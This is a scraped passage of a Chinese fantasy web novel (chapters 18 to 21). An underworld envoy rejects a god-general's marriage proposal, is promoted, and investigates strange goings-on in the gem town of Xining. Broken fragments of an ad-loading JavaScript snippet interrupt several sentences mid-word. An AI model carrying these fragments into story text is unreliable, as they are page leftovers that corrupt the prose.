洛遥眼前发黑,脚步虚浮,直到后背被人扶住,才稳住身体,“你受伤了。” 卫凌见她时期待的笑意僵住,语气骤冷,“是我来迟,他们罚你了?” 她的沉默叫卫凌更加确信了这个可能性,当即便召出红缨枪,“向来听说地府律法严酷,不想是根本毫无人性,我倒要看看阎王殿里都是些什么畜生!” “不要冲动。” 洛遥赶紧拉住他,真让卫凌冲进去,那她可就后辈子无望,恐怕还要担个勾结天庭出卖地府的罪名。 “地狱中本来就是恶鬼居多,十恶不赦之辈不用酷刑约束,便要想着法子作妖,况且我擅入人间本就有错在先,殿主若不罚我,必不能服众。” 卫凌寒脸,看着洛遥被打还要替打她的人袒护不禁替她委屈,手心下意识运起疗伤的法力,却又想起对她无用。 抬起的手臂复又放下,捏紧拳头咯吱作响,“你真是被打傻了,你那殿主有什么值得你效忠的,若真是器重你,哪怕只是做做样子也好真的一鞭打下去。” 城门口还有不少守卫,王心莲小声提醒,“神君慎言,此处为鬼界之地,你就算为洛大人打抱不平,也别叫有心人听了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去给洛大人难堪。” 卫凌狠狠咬牙,骂道:“真不是人待的地方。” 洛遥笑了,“这里不是人待的地方,当然待在这里的只能是鬼。” “你胸口上的伤好了没,现在有多一道鞭伤如何能撑得住。” “从回来的时候已经治疗,好了大半,”她又指着背上,“别看着吓人休息几日就好了。” 背上衣服已经被抽破,从脊背到后腰一道长长的渗血鞭痕,也难怪刚才洛遥路都走不稳,王心莲问:“大人若放心,可愿意让我一试?” 浓郁的阴气爬满王心莲身上,对于受伤的阴魂是很好的滋养品,尤其是厉鬼身上的阴气尤为浓厚。 “有劳了。” 后背陡然一股清凉,火辣辣的痛感被温柔舔舐,没过一会儿,洛遥便感觉神清气爽,后背除了还有点发麻刺痛外,已经基本不痛,完全在可以忍受的范围。 又朝王心莲说了几句谢谢,就被卫凌拉到一旁检查,“果然好了不少。” 漏风的衣服把后背暴露大半,依稀可以窥看里面如雪的肌肤,叫人一阵眼热,卫凌艰难转开视线,想着刚才她就这样一路跑过来,连忙脱下外袍盖在她身上。 洛遥也终于发觉自己急匆匆跑来完全没注意到走光的后背,于是没拒绝披在身上的衣服,也朝卫凌说了句谢谢。 “你不用跟我道谢,这也本是我应该做的。” 整理好洛遥身上的衣服,双手放在肩膀上,眼神和她交缠,“我知道你喜欢我。” 嗯? “也知道你面皮薄羞于承认,不过没关系,我知道就行。你如果不想待在地府,何不与我去神界?放心在我身边无人敢欺负你,谁若伤你必要先过我手下红缨枪。” 卫凌是不是误会了什么?自己何时给了他喜欢他的错觉? “你...有没有可能意会错了,我不是喜欢你?” 剑眉倏地皱起,“你总是这样逃避,说句喜欢这么难吗?还是说你不想和我去神界?” “那本来就不是我该待的地方,我才不去。” “难道你要一辈子待在地府,然后我找你时被这群小鬼拦住?”卫凌神色阴沉,“不行,你和我去三生石结契。” 三生石是掌管天下姻缘之地,相当于神界结婚登记处,与三生石结契就是禀告天地两人同心相连,永结夫妻之意,她和卫凌不是一直都是竞争对手吗,怎么忽然就要扯证了? 神界与鬼界井水不犯河水,但绝对不是能和睦到相亲相爱的地步,和卫凌结契不是断自己后路吗? “等等,不要冲动!” 卫凌拉着她的手,大有立刻就要带她走得意思,真靠蛮力,她完全不是对手,况且洛遥不想和他当场撕破脸,也不想把事情弄大。 在他锐利眼神的逼问下心虚道:“这么大的事情你就不准备准备?况且现在殿主还等着我带王心莲过去,若是让殿主久等我恐怕又要受一顿好罚。” 方才是热血上头,冷静下来卫凌才意识到自己过于草率,于是郑重保证,“确实要好好准备,得要昭告三军才是。” “我等了你三日,那你可愿意等我三日。” 卫凌喜不自胜知道她这是同意了,激动得当即将人搂在怀里,“当然可以,我定在三日之内将所有事情准备好。” 她抽下被握得发疼的手赶紧赶人,“那你快回去准备吧。” 18. 第 18 章 洛遥带着王心莲进去的时候不忘提醒她,“你为复仇杀人虽情有可原,但免不了被追责,若殿主问你,你莫要顶嘴,我会尽量帮你说话。” 王心莲知道自己杀了不少无辜的人,就算事出有因受人胁迫也不能逃脱干系,她没想过逃避,早就做好了受罚的准备,但洛遥依旧肯帮她,心中不免感动。 “若是洛大人感到为难,不必为我开脱连累自己,我此生心愿已了,就算是死也无憾了。” “还不至于死这么严重,最多...受些刑罚。” 这已经是地府惯例了。 “刚才忘了问你,一别三日可是遇上了什么阻拦?” 王心莲朝她背上看了一眼,神色抱歉,“我和夫君团聚后,本来当日便要回,但却遇上一名来自西天的和尚说佛陀有意收我为弟子,我无意于此当即拒绝,怎料那和尚却不肯走,执意要带我过去。” “卫凌神君不好与他争斗,便将那只附身猫妖与我有几分相似的小鬼送了过去迷惑和尚,我们这才脱身。” “原来如此。”还真叫殿主说中了,“你再修炼一番,日后修成正果,西天未必不是个好去处。” 只是生的佛心的鬼,是天下邪祟克星,如此特别,恐怕殿主也想收入麾下不肯放人,不然也不会对她再三嘱咐。 王心莲笑了笑,“我倒觉得现在就很好,无所拘束,乐得自在。” 两人一路说着便到了主殿,踏入门中的一刻,低头执笔批册的男人便已经察觉,“回来了?” 洛遥恭敬上前,“不负大人所托。” 男人并未抬头,“那位神界的将军似乎和你很亲近?” 洛遥头皮发紧,不知为何在男人面前总是控制不住紧张,明明他看上去只是个儒雅书生,比起气势夺人的卫凌显得文弱多了,可洛遥始终不敢松懈。 “我和神君只是刚好在沁阳相遇,一同参与了调查案,算是萍水相逢的缘分倒也说不上亲近。” 闻言,男人放下笔淡淡看了她一眼,“你能分得清楚轻重最好,神界不容人神相恋更别说你一个小鬼,你尚且年轻别被三言两语的情话迷了心智断送前程。” 果然,鬼界之事什么都瞒不过殿主的眼睛,恐怕城门外的话,早就有人一字不漏传到了他耳里。 “你便是王心莲?”男人把视线转到她旁边藕色粉裙的姑娘身上。 “民女正是。” 终于见到了暴虐无情让洛遥胆寒的殿主,王心莲十分诧异。 还以为是个什么牛头马面的东西,没想到竟是如此清秀的年轻人,看起来倒不是很凶残。 “芳华年纪,蒙受此难,却没有对沁阳百姓肆意报复,此等心性难怪能修成佛心。” 男人一步步从殿内走来,十指并拢点在王心莲胸前,刺眼佛光瞬间从胸膛迸发,洛遥急得大呼一声,“大人小心。” “不必紧张。” 他抬手拦住洛遥,指尖从佛光穿过,只觉一片温热,手指上一枚蟒蛇环戒逐渐焦黑,看不出原有的色彩,见此洛遥只当是他有护身法宝不受佛光影响,不然这让她难受许久的佛光怎么对殿主一丝一毫的影响都没有。 可脑海中却又忽然想起鬼界的一个传闻。 传言死殿大人是四殿之中唯一的凡人,不知怎的修得机缘脱去凡骨,在百年前一跃成为死殿之主。 若真如此,佛光对他无害倒也说得通了,但此前洛遥从没相信过这个传言,哪有凡人如此牛逼,修炼得道就算了,竟然还能在鬼界成为一方大能,叫底下的鬼老老实实不敢妄议。 而且谁得道之后不去神界,反到这阎罗地狱蹉跎一生。 “不愧是十世为善修得的佛心,邪祟莫能近身。” 向来无情的上司竟然连连称赞,看得出他十分看重王心莲,想必对王心莲不会重罚。 “原本你手沾怨命,要下狱受刑,但眼下有个将功赎罪的机会,不知你可珍惜?” 还真是如此。 洛遥欣慰之余,很是心酸,她勤勤恳恳努力这么久,白挨了一鞭,也没见他有什么补偿,王心莲命债数条,殿主居然主动为她开脱。 果然,好苗子到哪都一样抢手,人跟人的差距就是这么明显。 洛遥自知没有什么拿得出手的能力,能得殿主看中已经十分幸运了,只希望自己若有一天不小心做了错事,殿主大人能看在她忠心办事的份上,也能为她开恩。 王心莲掩饰不住意外的惊喜,“不知殿主需要我做什么?” “地府登基魂册失踪魂魄近千不止,这些只是浮于表面的,细查只怕会更多,我曾调查发现这些阴魂有出现在西宁的踪迹,若这些阴魂齐聚如此,恐怕必有事端。” “本殿命你协助洛遥查明此事,剿杀幕后主使回来复命。” “我一定竭尽全力帮助洛大人完成任务。” 他抬了抬手,王心莲便心领神会退下。 洛遥愣了半天,敢情殿主这是给她找了个超强武力外挂啊! “之前的诺言依旧有效,你既然完成任务,我绝不会亏待你。”他递出一枚阴兵虎符,“此令可调动一百精兵,日后他们便听你调遣,护你周全,从以往后你便是我的鬼使,我的左右手。” 洛遥激动得说不出话来,小心翼翼接过虎符放在手心看了又看,像是不敢相信不确定地问:“真的给我,那我让他们干什么都行?” 他的嘴角浮现几分笑意,“真的给你,你就是他们的主人,就是让他们死也不敢不从。” 洛遥才舍不得让这些宝贝死,天知道一个武力渣,在沁阳的这些日子是怎么过的,但凡身手好点的小鬼都能暴揍她,几次死里逃生,过得凄凄惨惨哪有鬼差威风八面的样子。 可现在她居然有了自己的鬼兵,那真是能地府横着走了。 “现在可还气我罚了你一鞭?” 男人少见的笑意让她脸颊微微发红,想起之前对殿主大人的抱怨便愧疚不已,“殿主栽培之恩,洛遥不敢忘记,之前...确实心有怨念,忍不住在心里发了几句牢骚,您不知那一鞭子差点要了我半条命,虽然死不了,但实打实的痛。” 声音越来越低,底气越发不足,好在男人并无动怒之意。 “我知道您的考虑,是我过于小气,没能体谅殿主苦心。” “原来是怕疼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”男人忽然伸手放在她肩上,洛遥忽觉后背一阵舒缓,原本被治疗大半的鞭伤现在半点不适都没了,望着他认真的神色,差点泪眼弯弯,“多谢殿主。” 他的手指似乎在肩膀上停顿了片刻,正感动得稀里哗啦的洛遥却忽然感到殿主似乎一直盯着她肩膀看,“嘴上说着不亲近,身上却穿上了他的衣服,年轻人都是如此口是心非吗?” 洛遥心里咯噔一下,坏了,她急着带王心莲过来竟忘了换衣服,“殿主我衣裳尽毁,在神君面前有失体面,神君看不过去,才脱下衣裳为我解围的。” “那你回来时为何不换了衣服,反而穿着他的衣服来见我?” 洛遥都快被他审得冒汗了,立刻表露忠心,“我这不是急着来见您,哪管得上什么体面不体面。” 男人的眼神并不带任何侵略性,却似乎能够洞察人心,对视久了心里总忍不住怯退,“可我似乎听说你同意了那小子的求爱?” 一颗心差点吓跳出来,“我不知道他怎么误会我对他有意思,又在城门不依不饶,所以才迫不得已骗他的,况且神界门槛之高,其实区区洛遥就能攀上的,我虽有些自负,但不至于自己几斤几两都不在知道。” 她瞧着男人神色不再带着逼人的压迫,悬着的心终于定下。 “如此便好,神界对你而言却是不是个好去处。”男人转身走进殿内,只留一个后背,“若准备妥当,即刻启程吧!” “是。” 洛遥也没什么准备的,叫上王心莲用虎符唤出两名阴兵便准备启程。 两名阴兵皆是铠甲加身,腰间佩刀,威风凛凛,只是头盔之下一副白骨,因此洛遥看不出两人的区别,只听两名阴兵声音后才辨别出不同,“主人,唤我们何事?” “没什么殿主把你们给了我,让你们随我去西宁。对了,你们叫什么?” 两人答道: “十一。”听声音倒像是个少年。 “十二。”声音略微粗犷应该比十一年纪大。 全都是数字难不成他们按照数字叫名字的? 十一推测了一番西宁的距离道:“西宁路远山高,大人还是坐马车最快。” 洛遥正要下去安排,不料十一却让给他搬了个凳子让她坐着等就好,洛遥乐得当甩手掌柜,享受两人鞍前马后的伺候。 很快马车就找来了,里面空间宽阔,就是躺下睡觉也绰绰有余,她和王心莲坐在里面,要多舒坦有多舒坦,再也不用靠双腿跑来跑去。 灵车是阴间之物,拉车的两头马都是骷髅形状,外罩铁甲,行走无声,速如疾风,差不多几日便能到万里之外的西宁,一路上洛遥半点罪也没遭,贴心的两位侍卫她怕无聊还给她带了解馋的零嘴,真是太贴心了。 升官了果然不一样啊!待遇不可同日而语。 “大人就这么不告而别,不担心那位神君动怒?” 洛遥其实心里还是有些忐忑的,她不知道卫凌去准备了什么,只希望他过来寻她时,看到她留下的信能够明白一切,对她这个萍水相逢的朋友就此忘记释怀。 本来就是两条平行线的人,未来怎么可能有交集呢! 19. 第 19 章 殿中已然空无一人,男人褪下已经焦黑的环戒,随手扔在地上,戒指中滚出被佛光灼烧成一团黑炭的东西,依稀能看出长长的尖爪和隆起的弓背。 原本已经重伤,又被吸食大半阴气,这东西就只剩唯一能喘息的气。 “殿主...饶命,我再也不敢了。” 佛光的威力不可小觑,王心莲若使用得当必是除去他心头毒刺的利剑。 匍匐脚下的男人极尽卑微之态,可男人并未投去半分怜悯的眼神,“水弓,杀生魂养美人供你淫乐,你可真是好大的胆子。” 匍匐的鬼物身躯颤抖个不停,哪怕效忠五十年也不能让男人眼里有一分动容,“可笑你不仅胆大还蠢,以为做的天衣无缝,却被人告上门来。” “大人可我从未背叛过您啊,我对您忠心耿耿,您常年不在地府,多少反对的声音,都是我亲手让他们永远闭上了嘴,看在这份忠心的份上,您饶我一回。” 男人神情淡淡,嘴里的话却十分残忍,“你也就这点作用了,我的身边不需要一个头脑简单的蠢货。” 一丝灵气从指间飞出,地上便只留下一滩黑色的烂泥。 *** 三日后,卫凌如约而至酆都城,不出意料又被城门阴兵拦住。 他面色不虞,但并未和阴兵计较,今日是他大喜的日子,一路上心情雀跃,也就忽略眼下这份不快,“快叫你们洛大人出来,说三日之期已到,故人应约而来。” 阴兵一脸诧异,“可洛大人三日前就已经走了。” “走了?”他的神情骤然可怖,一把拎住阴兵的衣领,“走去哪了?” 阴兵半只脚悬在空中,惊恐地望着他,“我哪里知道洛大人的行踪,只知道洛大人的马车从此处经过,至于所去何方一概不知。” 城门的士兵都警惕起来,用武器对着忽然暴怒的男人,气势逐渐焦灼,一名鬼吏从里面慌慌张张跑来,“来人可是卫神君?” “找我何事?”卫凌把手里的阴兵丢在一边,打量起眼前从未见过的小鬼。 “洛大人对我交代若是三日后有位卫神君前来寻她,便把这封信交给他。” 卫凌心下一喜,赶紧抢过小鬼从怀里掏出的信封,短短几息心头忽上忽下,经历一番折磨,心想小鬼说不定又被她那不讲情面的殿主临时派了任务,又无法联系上他,才差人留下书信。 封口的火漆被拆开,卫凌迫不及待将信展开: “沁阳此行凶险重重,洛遥幸得神君相护才能安然无恙,感激不已,所受恩德必铭记于心。” 小鬼写信就是为了感激他?难道她不知护她只是他发自内心之举,从无半点挟恩相报的意思。 卫凌耐着性子继续看,“能与君相识,实属洛遥之幸。” “只是兴许洛遥举止有失妥当,才叫神君生了误会。” “洛遥从未对神君有意,也自知身为卑微,实非神君良配,当日所说皆为戏言。” “望神君另觅良人,携手白头。” 脸上笑意全然消失,周身可怕的气息让城门的阴兵警惕退步,“从未有意,皆为戏言!” 一字一句从牙缝中挤出,手上的卷纸被掌心揉成一团。 “另觅良人,携手白头,洛遥你真是好样的。” 他只觉的心口被刀子戳开了好几个洞,不停往外渗血,撕裂的痛处让他几乎呼吸困难,心中更有个小人在嘲笑他的可笑之态。 笑他只是个被抛弃的可怜虫。 洛遥什么时候说过喜欢你,只不过是你一厢情愿,从头到尾只有你一人当真,而洛遥只怕觉得你好笑。 堂堂的神界将军,竟然如此自作多情,可不就是是个笑话吗? 若不是笑话,又怎么会被人玩弄股掌之中。 “洛遥!你竟然骗我。” 心痛之外,卫凌又觉得屈辱,自己活了万年竟然被一个小姑娘蒙骗,从头到尾利用得明明白白,直到失去价值踢到一边。 洛遥不敢当面说,不过是怕自己和她作对,任务失败,所以才虚与委蛇陪他演戏。 这才符合小鬼的性格,独来独往,无所牵挂,也从未把任何人放在心上,冷心又无情。 理智告诉他就此作罢,不过是个微不足道的小鬼而已,有什么值得他放在心上,他回到神界依旧是人人敬仰的神君。 前呼后应不说,更不缺爱慕者,况且九天上的神女风姿绰约,顾盼生情,哪里就比不上那个棺材脸的小鬼。 可又有一种不甘油然而生,在他脑海中产生放下的念头时,化为利刺狠狠扎在心口,这种痛并不剧烈,只是难以忽略,长久盘踞着,始终难以得到安宁。 卫凌觉得自己狠下心,一鼓作气才能彻底拔除心头恶刺。 “洛遥你当真我非你不可吗?” *** 此时,万里之外,五日舟车劳动的洛遥正躺在车厢中,一口茶水,一口点心好不惬意,偶尔还能探出窗外欣赏沿途风景。 比起她毫无形象的样子,王心莲尽显大家闺秀的风范,始终端端正正坐着,起初洛遥也有些不好意思,不过王心莲说人不必克制天性和其他人一个模样,也就没了顾忌。 舒舒服服躺着可比板着腰好多了,有条件不享受不是蠢蛋吗?还是人生得意须尽欢好啊! “大人不告而别,怕是神君会多想。”对于情爱一事,王心莲是过来人,她看卫凌虽然身份尊贵,性子高傲,但是对洛遥却实打实放在心上,遇到危险也是第一时间出手。 眼下更是抛去身份之别,跑去神界傻傻准备,算是难得有心,可洛遥的态度她看不明白,像是完全置身事外的局外人,半点不见沉沦情爱的模样。 洛遥放下咬了一半的甜心酥,有些恍惚,“我活着又不是为了嫁人,况且,我和卫凌...我想他是误会了,反正我给他留了信,想必他看了后就明白了。” 她不相信凭卫凌这种自傲的人,被人伤了自尊还能舔着脸找过来,恐怕只会觉得她不知好歹,然后将此羞辱抛之脑后,经历岁月淡忘,最终发现九天神女才是能和他走到最后的人。 洛遥不想成为他动情历程上的牺牲品。 最起码在她看来,卫凌的喜欢来得过于匆忙,也是只是一时上头后的冲动,绝非冷静后的深思熟虑,为了这份不确定的喜欢堵上她的前程损失过大。 而她,也没有到喜欢卫凌的地步吧。 虽然卫凌为人义气,帮她诸多,但要是直接跳过相处过程直接成亲,还是太快。 “原来洛大人对神君无意,我见你们每日娘子、相公的叫着,还以为用情至深呢!” 洛遥尴尬脸红,“只是为了演戏而已...”她也没想到卫凌入戏太深,兴许等他想明白就后悔了。 此时的卫凌根本想不明白,告知三军他要结契的话早就已经放出去了,但三军迟迟未见将军夫人,拿着酒壶笑着要见夫人的被他用酒后醉言的理由对了回去,帐中徒留他一人醉饮天明。 *** 疾马一日逐千 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里,第五日终于赶到了西宁。 “大人,已经到了西宁地界。” 十一拉住缰绳停在界碑旁边,望向紧闭的车厢,见毫无动静,不确定又问了一声,“洛大人。” 在王心莲笑着推搡中,洛遥缓缓醒来,推开车门就被呛了一口风沙。 “咳咳咳,这就是西宁?怕不是撒哈拉沙漠吧!” “什么撒哈拉沙漠?”十一没听说过这个地方,疑惑问道。 “哦......一个古国中存在的大沙漠,寸草不生,荒野无际,对于迷路的旅者来说是个绝对致命的地方。” “大人还真是见多识广,我还从未听说过这个地方。” 捂着口鼻下来,十二贴心地撕碎披风当做面巾递给洛遥,“大人先将就着用,等到了前面城中,我再给大人买面纱。” 洛遥点头,“既然到了城中,灵车便不能再用,你们也需幻化成家丁模样随我进城。” 眼前的两具骷髅忽然变幻,一人是娃娃脸的正太面容清秀,见洛遥眼睛一眨不眨盯着自己,顿时红了耳朵,洛遥不想相信试探地问:“十一?” 十一有些激动,嘴角扬起笑容,“大人认出我了。” 另一人则严肃许多,看上去也要比十一年长几岁,气质沉稳,身材结实,王心莲见着笑着捂嘴,“大人不会是专门挑了两人长得好的出门作伴吧,左拥右抱确实快哉!” “你别打趣我了,我只是在他们中随便挑的。”两人面色皆变,洛遥连忙改口,“所有阴兵都是精英,不管是谁都好。” 看她急忙忙端水的样子,王心莲又忍不住打趣,洛遥只好拉着她往前走,不让她胡说,卫凌那边的误会已经让她手足无措,可别再有误会了,她可不想主仆离心。 经过一路荒芜和风沙,到了城中的时候才看到些许绿意,一座座逼仄矮房子紧密连在一起,高度只有一人多高,而这么小的房子里竟然住着三四个人。 里面基本都是些青壮男人,看着不像是一家子,倒有现代社会出来打工租房的影子。 走过杂乱贫瘠的居民区,越靠近城内,与刚才天差地别富丽堂皇的繁华才逐渐显现。 商贩随处可见,大多都是售卖珍贵的珠宝首饰,酒楼茶楼随处可见,无一不修葺得精巧美丽。 挂着巨大红宝石璎珞的商人坐在骆驼上,通身富贵逼人,光是左手掌每根手指头都戴上了宝石戒指,生怕别人不知道他有钱似的,但不知道为什么右手戴着黑色的皮手套,上面没有一根戒指。 身后跟着五个随行家丁,大摇大摆走在城中,一鞭子挥开挡在前面的路人。 打中的路人上前叫骂,被拿着刀的家丁挡住像打赏乞丐一样扔下一两银子,路人瞬间噤声,忍着不快拿银子走开。 骆驼继续前行,在拥挤的街道中并没有停下速度,人流纷纷向两边避让,洛遥被人推了一个趔趄,好在被身后的十一及时扶住才没有被挤上来的人踩到脚下。 “洛大人,没事吧?” 洛遥摇摇头,站在旁边像木桩一样毅然不动地十二恶狠狠盯着骆驼上的人,“只不过有几个臭钱,就敢如此放肆,随意打骂百姓,不给他点教训就不知道天高地厚。” “先别冲动——” 洛遥来不及阻止,十二就从人群中摸了过去,十一伸手为她撑开一片空间,“大人不用担心,十二下手隐蔽,不会让人发现的。” 十一笑容腼腆,眼底却藏着隐隐兴奋,洛遥顿时明了,正太原来是个黑心莲。 20. 第 20 章 十二渐渐隐去身形,摸到骆驼的背后,一掌拍在骆驼背上,骆驼受惊奔跑,甩得上面的富商左右摇摆,死死拉住缰绳才让自己没从上面甩下来。 “你们快把骆驼拦住。” 骆驼性格温顺,一般不会忽然狂奔,毫无预料的家丁听到富商惊恐的呼救声才急急忙忙追上去。 眼见马上追到人,却眼睁睁看到自家老爷从上面跳了下来,摔了四脚朝天。 “老爷,你再急也不能跳车啊!” 男人暴怒大吼,“放屁,你哪只狗眼看到我跳车,分明是有人拽我下来。” 家丁们全都愣住,看笑话的百姓也不自觉离远点,生怕被男人讹上。 “可是,老爷根本没有人拽你啊!” “要你们有什么用,连人都没看见。”男人骂完,也不知想到了什么,神色闪过一丝惊惧,没再发作,只让家丁赶紧追回骆驼。 “大人我就说没事吧,这下好了终于不挤了。”十一笑容天真,“只是十二的手段也太温和我,要我说就叫把那混账丢在骆驼粪里,看他下次还敢不敢街上乱骑,” 果然还是黑心莲的手段毒啊!伤害性不大,侮辱性极强。 真掉骆驼粪里,那富商估计一辈子都要对骆驼有阴影了。 “还是你机灵。” 十一以为大人对自己的提议很满意,笑得更加灿烂。 十二慢慢走过来,混在人群之中,倒也没让人发现忽然多出的人,几人往前走,看见一家不错的客栈,便决定暂时休息。 “客人是要住宿?” 洛遥还未开口,十一便小声提议,“大人不如我们住两间房,彼此之间也好相互照应。” 其实他们不需要休息,住在一间房完全可以,但难免会惹人注意,只好退而求其次,选择两间。 要了两间上房后,店小二便带着几人上去,一边还热情介绍店里的饭菜,“小姐来我们西宁一定要尝尝我们珍味楼里的饭菜,保证吃了一次回味无穷,在其他地都尝不到这个味道。” 鬼神最好的食粮便是香火供奉,凡间的食物反而诱惑不大,为了入乡随俗洛遥只好道:“一路过来,吃了不少东西这会儿还没消化,等晚上再吃也不迟。” 店小二打量四人,“瞧着小姐似乎是外地人,怎么独自出门?” 当今民风开明,姑娘家出门并不少见,只是在西宁这一路上洛遥就没看见女人,也难怪店小二多问一句,“家中只有两女,做的是珠宝生意,所以我和姐姐才出门采购,希望遇上好的货物。” “那小姐也算来对地方了,我们西宁盛产宝石,慕名而来的宝石商不计其数,更有甚者在宝石坊赌石成功一夜暴富。” 店小二面色激动,说到赌石更是两眼放光,“小姐要是不想赌石也可以去宝石坊采购,数一数二的好料子基本都是宝石坊出的。” “西宁如此富贵,怎么我来时看到一堆矮房子里挤满了人?” “哦,那是外地来挖矿的矿工,多是家境贫寒才背井离乡,没有钱当然只能挤在巷道里。” 洛遥刚准备问宝石坊在何处,楼下便传来一声吆喝,“店小二呢?怎么连个招待的都没有。” 这会儿食客众多,几乎挤满了一楼,客栈里的店小二都忙得团团转,掌柜的见状连忙赔罪,使眼色让洛遥身边的店小二赶紧下来。 “几位若没有需要,我这就去忙了,实在是这会儿太忙抽不开身。” 洛遥没有为难他,让他赶紧下去,十一往下瞧去眉头蹙起,“怎么又是他,真是阴魂不散,早知道让十二把他扔远点了。” 十二认真道:“大人要不想他待在这里,我等下就把他弄走。” 洛遥失笑,“腿长在他身上你还能扔得走,抬头不见低头见总归会遇上,多一事不如少一事吧。” 王心莲凑了过来,“我的好妹妹,你的两个小侍卫真是好忠心,我瞧着都有些心痒了。” 两人警铃大作,好在洛遥并没有把他们送人的打算,“想要,找殿主给你两个,我想殿主一定会同意,就不知道你家郎君同不同意了?” 王心莲撇嘴道:“你别提他了,那西天的和尚说,鬼神各自有道,让我尽早断下尘缘,才能修得正果。那憨货也不知道拦着和尚,反倒要跟着我一起剃头出家。” 想到这里心里就气,“怎么会有这么蠢的人!” 一起剃头出家恩爱这发展洛遥也是万万没想到,忍不住笑出声,可心里却不自觉回味起刚才的话,鬼神各自有道,难道不能殊途同归吗? 楼下的骚动打乱了思绪,没有安排到座位的商人大发牢骚,都是赶着饭点来吃饭的,轮到富商最快也得一个时辰,洛遥也不禁感叹这家酒楼的生意实在火爆。 门外进来的人络绎不绝,听到店小二的话,竟也不恼,自觉在门口排起了长队。 富商的抱怨显然干扰到了其他人吃饭,众人骂骂咧咧让他不想吃就另换地方,富商不跟走,最后店小二先给他两碟打牙祭的花生米才把他安抚好让他去房间里老实等着。 洛遥目瞪口呆实在想不明白区区一碟花生米竟然就能安抚好脾气暴躁的富商,看着止不住惊喜的富商拿到一小盘花生米后仿佛得到了什么宝贝,还没接过来就迫不及待抓了一把放进嘴里。 再看楼下食客,上菜之前谈笑风度,衣冠楚楚,上菜后全都变了模样像是闻见骨头的恶狗,一头扎进大碗里闷不吭声喝汤,甚至喝完后连碗里剩余的汤汁也要舔干净。 桌上的菜和寻常无异,看不出有什么特色,只是眼前怪异的景象让人侧目,但食客们却没有觉得不对,一脸兴奋地朝里面张望指望着下一个轮到自己。 店小二笑容自豪,并朝着楼上张望的洛遥笑了笑,洛遥硬是被他笑得后背发毛,僵硬地收回视线。 回头撞上端着花生米的富商,一股极其充满诱惑力的香气钻入鼻中,胃口瞬间大动,甚至想上去尝尝,富商察觉几道注目的眼神,连忙将盘子揽住怀中。 “想吃自己去点,别盯着别人碗里的。” 富商急匆匆走进房间,用力关上房门。 洛遥对着几人使眼色一起进入房间,刚进来十一就忍不住说,“小小一盘花生米居然如此香,也不知道怎么做的,真想尝一尝。” 一个巴掌落在了他头上,“想吃也得忍住,事出反常必有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妖,别自己都找了道。” 刚在心上的躁动瞬间被拍散,十一收敛笑意,“正因为发现不对才想着试试,总不至于这东西连鬼物魂体都能控制吧。” 王心莲的感受略有不同,“我刚才确实闻到了香味,但是反应过来的时候,只觉得恶心至极,像是一团坏了了肉被香料反复烹煮,虽有香味,但细闻之下只有恶心。” “我倒是没有感到恶心,”洛遥神色凝重,“这里的东西多半有问题,每个人都注意下不要碰任何进口的东西,两两相互监督,有情况及时汇报,不可单独行动。” 两人连忙称是,商量完之后几人决定先去宝石坊看看。 宝石坊在当地应是名气不小,随便问了一人就知道了位置。 远远看着金漆描绘的‘宝石坊’几个大字十分显眼,门口摆着一个巨大的金蟾蜍,背上贴满了各色宝石,散发奇光异彩,张大的嘴巴里嘴里都是铜钱,似乎要吸干每一个走进去客人的口袋。 宝石坊有独特的入场券,就是需要在进门的时候将携带的铜钱放入蟾蜍口中,洛遥身上没带真金白银,只好拿了一枚鬼钱,跟在队伍后面,和前面人一样将铜钱放入蟾蜍口中一堆钱币中。 可刚放好,金蟾蜍居然将她塞进去的铜钱吐了出来,洛遥惊奇不已,正要试探金蟾蜍里是不是藏了什么东西,就被守门人阻止,“不要乱摸,弄坏了上面的宝石怎么办,要进,赶紧进去。” 身后一人迫不及待将她挤开,望着洛遥一身朴素打扮,浑身上下除了一个便宜的白玉簪,连像样的珠宝都没有,神情轻视,“听传金蟾蜍只吃有财气的铜钱,今日居然还真的见到了。” “没有真金白银也敢来宝石坊,我劝你不要打肿脸充胖子。” 这人是在客栈中遇见的那个富商,神气地从口袋中拿出一枚铜钱,放在金蟾蜍嘴中,只见铜钱刚放进去就消失不见。 富商见此大喜,在守门人殷勤的簇拥中踏入门槛。 洛遥面色如常紧跟其后,十一厌恶地盯着前面的背影,“我早晚要教训下这个不知天高地厚的蠢货。” “不要在宝石坊生事,这里有点奇怪。”洛遥又交代了几句,让其他人也不可以随便出手。 不仅是宝石坊怪,整个西宁都弥漫着诡异让人不舒服的气氛。 “大人是觉得刚才那金蟾蜍有问题?”此处人多眼杂王心莲不得不贴耳询问。 洛遥拐去人少的角落,低声道:“按照富商的说法,那蟾蜍能通过人身上携带的铜钱辨别财气,这不是直接帮宝石坊删选出了优质顾客吗,那宝石坊怎么会放过这条大鱼。” 王心莲顿时了然,“难怪刚才那市侩的守门人见到富商就像见到亲爹一样。” “不过,大人你的铜钱为什么被吐了?”排队的那么多人,只有洛遥的被吐了出来,少有像富商那样铜钱被吞了,大部分都是待在蟾蜍嘴里毫无动静,像是对送进的食物丝毫不感兴趣。 她的脸上浮现一丝尴尬,虽然之前她很穷,但是最近好歹已经升官,怎么可能毫无才财气,“可能...因为只有我喂的是鬼钱吧。” 洛遥不是很明白这邪性的金蟾蜍。 21. 第 21 章 宝石坊中楼宇耸立,有一整栋楼里,都是珍贵的宝石原料,大多数富商便是来此竞价采购,有的楼中是已经加工完成的珠宝饰品,供来人挑选。 唯有一栋楼,朴实无华,十分奇怪,去的不只有富商,还有很多衣着破烂的穷人,裤脚沾满了淤泥,倒是像住在巷道里的那些矿工。 那边的富商带足了银子信心满满过来竞价,但是遇上另一个更有钱的主以更高的价格拍走了极品翡翠原料。 富商脸色青白在老板的劝解下,决定去旁边的赌石场试试运气。 洛遥看着富商阴着脸和其他人挤进那栋朴实无华的楼中,进去才知这里就是所谓的赌石场,让人一夜暴富的地方,难怪那些衣裳破烂食不果腹的人也想着过来碰碰可以逆天改命的运气。 赌石也分不同等级,一般的次品像垃圾一样丢在一边,成堆放在一起,这些基本是被断定开不出绝品宝石的原料,但每一块也需要一两银子。 